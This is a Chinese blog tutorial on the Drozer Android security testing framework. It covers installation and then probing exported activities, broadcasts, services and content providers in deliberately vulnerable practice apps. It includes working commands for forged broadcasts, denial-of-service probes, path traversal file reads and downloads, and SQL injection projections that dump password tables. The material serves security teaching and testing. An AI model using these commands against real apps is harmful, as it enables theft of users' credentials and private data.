[免费专栏] Android安全之Drozer安全测试详细使用教程


也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大

少走了弯路,也就错过了风景,无论如何,感谢经历


转移发布平台通知:将不再在CSDN博客发布新文章,敬请移步知识星球

感谢大家一直以来对我CSDN博客的关注和支持,但是我决定不再在这里发布新文章了。为了给大家提供更好的服务和更深入的交流,我开设了一个知识星球,内部将会提供更深入、更实用的技术文章,这些文章将更有价值,并且能够帮助你更好地解决实际问题。期待你加入我的知识星球,让我们一起成长和进步


Android安全付费专栏长期更新,本篇最新内容请前往:

0x01 前言

Drozer是MWR Labs开发的一款Android安全测试框架。是目前最好的Android安全测试工具之一

Drozer官方文档说道:“Drozer允许你一一个普通android应用的身份与其他应用和操作系统交互。”在Web世界已经有了许多安全测试工具了,我们只需要给出一个目标,这些工具就会自动为我们安全测试报告。但Drozer与这样的自动化扫描器不同,Drozer是一种交互式的安全测试工具。使用Drozer进行安全测试,用户在自己的工作站上输入命令,Drozer会将命令发送到Android设备上的代理程序执行。其官方文档说道:“Drozer允许你一一个普通android应用的身份与其他应用和操作系统交互。

0x02 Drozer下载与环境配置

Drozer下载地址:

  • https://labs.f-secure.com/tools/drozer/

需要下载一个Windows客户端和一个安卓客户端:

  • 【windows客户端】下载drozer (msi)安装包,或者下载python的whl格式安装包drozer (Python.whl)

在这里插入图片描述

  • 【安卓客户端】drozer (Agent .apk only)

https://github.com/FSecureLABS/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk

在这里插入图片描述

  • drozer使用指南

https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf

在这里插入图片描述

0x03 Python环境安装

https://www.python.org/downloads/release/python-2718

在这里插入图片描述
在这里插入图片描述

因为Drozer 需要Python环境,但只能选择Python2.7或Python3.6

在这里插入图片描述

PS:注意,要把Python的PYTHON_HOME和PYTHON_HOME\Scripts加入到环境变量,如下:

在这里插入图片描述

0x04 模拟器安装drozer Agent App

有夜神、网易MuMu等Android模拟器,依据个人情况自主选择,此处选择网易MuMu模拟器

https://mumu.163.com/

在这里插入图片描述

在逍遥安卓模拟器中安装运行drozer Agent App,并打开Embbdded Server:

在这里插入图片描述

PS:安装好后打开 drozerAgent应用,点击右下角的开启按钮

打开命令行工具,并cd切换到安卓模拟器的安装路径,运行adb devices命令,查看是否能看到模拟器。如果看不到,重启模拟器试试

在这里插入图片描述

切换到drozer安装目录,其实也可以不用切入,因为我们已经加入了环境变量

在这里插入图片描述

使用 adb 进行端口转发,转发到上边Drozer使用的端口 31415,并进入Drozer 控制台:

adb.exe forward tcp:31415 tcp:31415
drozer console connect

在这里插入图片描述

用list命令列出Drozer所有功能模块,如能正常显示,则说明Drozer已正确安装

dz> list

在这里插入图片描述

4.1 Drozer启动报错解决方法

执行报错解决方案:

问题:ImportError: No module named google.protobuf
解决方法:pip install protobuf

问题:ImportError: No module named OpenSSL
解决方法:pip install pyOpenSSL

问题:drozer Server requires Twisted to run.
     Run 'pip install twisted' to fetch this dependency.
解决方法:pip install twisted

问题:UserWarning: You do not have a working installation of the service_identity module: 'No module named service_identity'. Please install it from https://pypi.python.org/pypi/service_identity and make sure all of its dependencies are satisfied.
解决方法:pip install service_identity

0x05 检测Android四大组件

Activity(界面):通常展现为一个可视化的用户界面,是负责与用户交互的组件。常见的漏洞包括Activity劫持漏洞、越权漏洞等

Service(服务):无用户界面,是运行于后台的服务,但是及其重要,经常在后台执行一些敏感的操作。常见的漏洞包括权限提升,拒绝服务攻击等

Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。当应用广播接收器默认设置exported='true',导致应用可能接收到第三方恶意应用伪造的广播,利用这一漏洞,攻击者可以在用户手机通知栏上推送任意消息,通过配合其它漏洞盗取本地隐私文件和执行任意代码

Content provider(内容提供者):为存储和获取数据提供统一的接口,可以在不同的应用程序之间共享数据。常见的漏洞包括读写权限漏洞、SQL注入漏洞、文件遍历漏洞等
  • 通过输入安装包的部分关键字查找包全称()
run app.package.list -f APK安装包部分关键字

或列出所有包名
run app.package.list
  • 查看apk基本信息
run app.package.info -a com.example.demo
  • 查看sieve的可攻击点
run app.package.attacksurface com.example.demo

5.1 Activity组件测试

应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据
  1. 查看activity组件信息
run app.activity.info -a com.example.demo
  1. 调用暴露的activity组件
run app.activity.start --component package_name Activity_name

5.2 Broadcast组件测试

BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。
  1. 查看Broadcast组件信息
run app.broadcast.info  -a org.owasp.goatdroid.fourgoats
  1. 发送恶意广播
run app.broadcast.send --action 广播名 --extra string name lisi

反编译apk,查看AndroidManifest.xml 文件,获取广播名

在这里插入图片描述

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message dog
  1. 拒绝服务攻击

尝试拒绝服务攻击检测,向广播组件发送不完整intent使用空extras

run app.broadcast.send --action <action>
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

5.3 content provider组件测试

  1. 查看content provider组件信息

执行后,可以看到对DBContentProvider 内容提供器的访问,除了/Keys 路径需要权限,其他都不需要权限;而对 FileBackupProvider 内容提供器的访问则不需要任何权限,那么就可以从中获取敏感数据

run app.provider.info -a com.example.demo

5.3.1 service组件测试

一个Service 是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。较好的一个例子就是一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中,应该会有多个activity,让使用者可以选择歌曲并播放歌曲。

然而,音乐重放这个功能并没有对应的activity,因为使用者当然会认为在导航到其它屏幕时音乐应该还在播放的。在这个例子中,媒体播放器这个activity 会使用Context.startService()来启动一个service,从而可以在后台保持音乐的播放。同时,系统也将保持这个service 一直执行,直到这个service 运行结束。

另外,还可以通过使用Context.bindService()方法,连接到一个service 上(如果这个service 还没有运行将启动它)。当连接到一个service 之后,我们还可以service 提供的接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、重播等操作。 intent-filter未将exported设置为false,默认是可以导出的。
  1. 查看service组件信息
run app.service.info -a com.example.demo
  1. 调用服务组件
run app.service.start --action 服务名 --component 包名 服务名
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService

5.3.2 检测URI数据泄露风险

Android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。
  1. 获取内容提供器的 URIS 资源访问路径
run scanner.provider.finduris -a <包名>
run scanner.provider.finduris -a com.example.demo
  1. 敏感数据读取
run app.provider.query uri
run app.provider.query content://com.example.demo.DBContentProvider/Passwords
  • 检测文件遍历漏洞
run scanner.provider.traversal -a <包名>
  1. 读取系统文件
run app.provider.read content://com.example.demo.FileBackupProvider/etc/hosts
  1. 下载系统文件
run app.provider.download content://com.example.demo.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db
  • 检测是否存在本地sql注入
  1. 扫描注入位置
run scanner.provider.injection -a <包名>
  1. 列出该app的表信息
run scanner.provider.sqltables -a  com.example.demo
  1. 手工注入

执行以下命令,发现返回了报错信息,接着构造sql获取敏感数据

run app.provider.query content://com.example.demo.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--selection "'" 
列出所有表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "* FROM SQLITE_MASTER WHERE type='table';--" 
获取具体表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "* FROM Key;--"

0x06 Drozer常用命令汇总

  • 开始一个会话

    • adb forward tcp:31415 tcp:31415
    • drozer console connect
  • 检索包信息

    • run app.package.list -f <app name>
    • run app.package.info -a <package name>
  • 识别攻击面

run app.package.attacksurface <package name>
  • 开发活动

    • run app.activity.info -a <package name> -u
    • run app.activity.start --component <package name> <component name>
  • 利用内容提供商

    • run app.provider.info -a <package name>
    • run scanner.provider.finduris -a <package name>
    • run app.provider.query <uri>
    • run app.provider.update <uri> --selection <conditions> <selection arg> <column> <data>
    • run scanner.provider.sqltables -a <package name>
    • run scanner.provider.injection -a <package name>
    • run scanner.provider.traversal -a <package name>
  • 利用广播接收器

    • run app.broadcast.info -a <package name>
    • run app.broadcast.send --component <package name> <component name> --extra <type> <key> <value>
    • run app.broadcast.sniff --action <action>
  • 开发服务

    • run app.service.info -a <package name>
    • run app.service.start --action <action> --component <package name> <component name>
    • run app.service.send <package name> <component name> --msg <what> <arg1> <arg2> --extra <type> <key> <value> --bundle-as-obj

参考链接
https://yunye.blog.csdn.net/article/details/108931814

https://www.jianshu.com/p/8f9d7dc5a8bb

https://www.jianshu.com/p/4ef5b26dd3fb


你以为你有很多路可以选择,其实你只有一条路可以走


  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

橙留香Park

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值